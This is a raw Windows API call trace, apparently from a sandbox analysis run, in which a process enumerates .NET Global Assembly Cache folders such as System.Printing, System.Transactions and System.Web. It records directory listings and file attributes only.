	[0088.579] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93259260, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93259260, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.579] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67dfdf20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.579] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.579] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.579] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.enterpriseservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12452468 | out: lpFileInformation=0x12452468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67dfdf20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.579] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.enterpriseservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.579] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67dfdf20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.581] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67dfdf20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.581] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x67ca72c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x3a6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.581] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec42400, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9ec42400, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.EnterpriseServices.Wrapper.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1
	[0088.581] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.581] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.581] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.EnterpriseServices.Wrapper.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.enterpriseservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.enterpriseservices.wrapper.dll"), fInfoLevelId=0x0, lpFileInformation=0x12452558 | out: lpFileInformation=0x12452558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec42400, ftCreationTime.dwHighDateTime=0x1d0aa7e, ftLastAccessTime.dwLowDateTime=0x67dfdf20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9ec42400, ftLastWriteTime.dwHighDateTime=0x1d0aa7e, nFileSizeHigh=0x0, nFileSizeLow=0x1e800)) returned 1
	[0088.582] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.EnterpriseServices.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.enterpriseservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.enterpriseservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x124525a8 | out: lpFileInformation=0x124525a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x67ca72c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x3a6e8)) returned 1
	[0088.582] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.printing"), fInfoLevelId=0x0, lpFileInformation=0x124525f8 | out: lpFileInformation=0x124525f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9458a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9458a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.583] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.printing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.583] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9458a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9458a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.583] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9458a3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9458a3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.583] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d0f320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d0f320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.583] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.583] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.583] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.printing\\v4.0_4.0.0.0__31bf3856ad364e35"), fInfoLevelId=0x0, lpFileInformation=0x12452698 | out: lpFileInformation=0x12452698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d0f320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d0f320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.583] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.printing\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.583] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d0f320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d0f320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.583] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9458a3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x62d0f320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62d0f320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.584] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x594c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.584] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.584] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.584] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Printing\\v4.0_4.0.0.0__31bf3856ad364e35\\System.Printing.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.printing\\v4.0_4.0.0.0__31bf3856ad364e35\\system.printing.dll"), fInfoLevelId=0x0, lpFileInformation=0x12452738 | out: lpFileInformation=0x12452738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x62d35480, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x594c0)) returned 1
	[0088.584] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions"), fInfoLevelId=0x0, lpFileInformation=0x12452788 | out: lpFileInformation=0x12452788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x944a5b80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x944a5b80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.584] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.584] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x944a5b80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x944a5b80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.584] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x944a5b80, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x944a5b80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.584] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6837f200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6837f200, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.584] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.584] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.584] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x12452828 | out: lpFileInformation=0x12452828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6837f200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6837f200, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.585] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.585] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6837f200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6837f200, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.585] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a5b80, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6837f200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6837f200, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.585] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6837f200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x47cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Transactions.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.585] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.585] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.585] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll"), fInfoLevelId=0x0, lpFileInformation=0x124528c8 | out: lpFileInformation=0x124528c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x6837f200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x47cd0)) returned 1
	[0088.585] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.web"), fInfoLevelId=0x0, lpFileInformation=0x12452918 | out: lpFileInformation=0x12452918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d5ebe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.585] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.585] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Web\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d5ebe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.585] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d5ebe0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5d5ebe0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5d5ebe0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.585] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d12920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x687a9880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x687a9880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.585] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.586] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
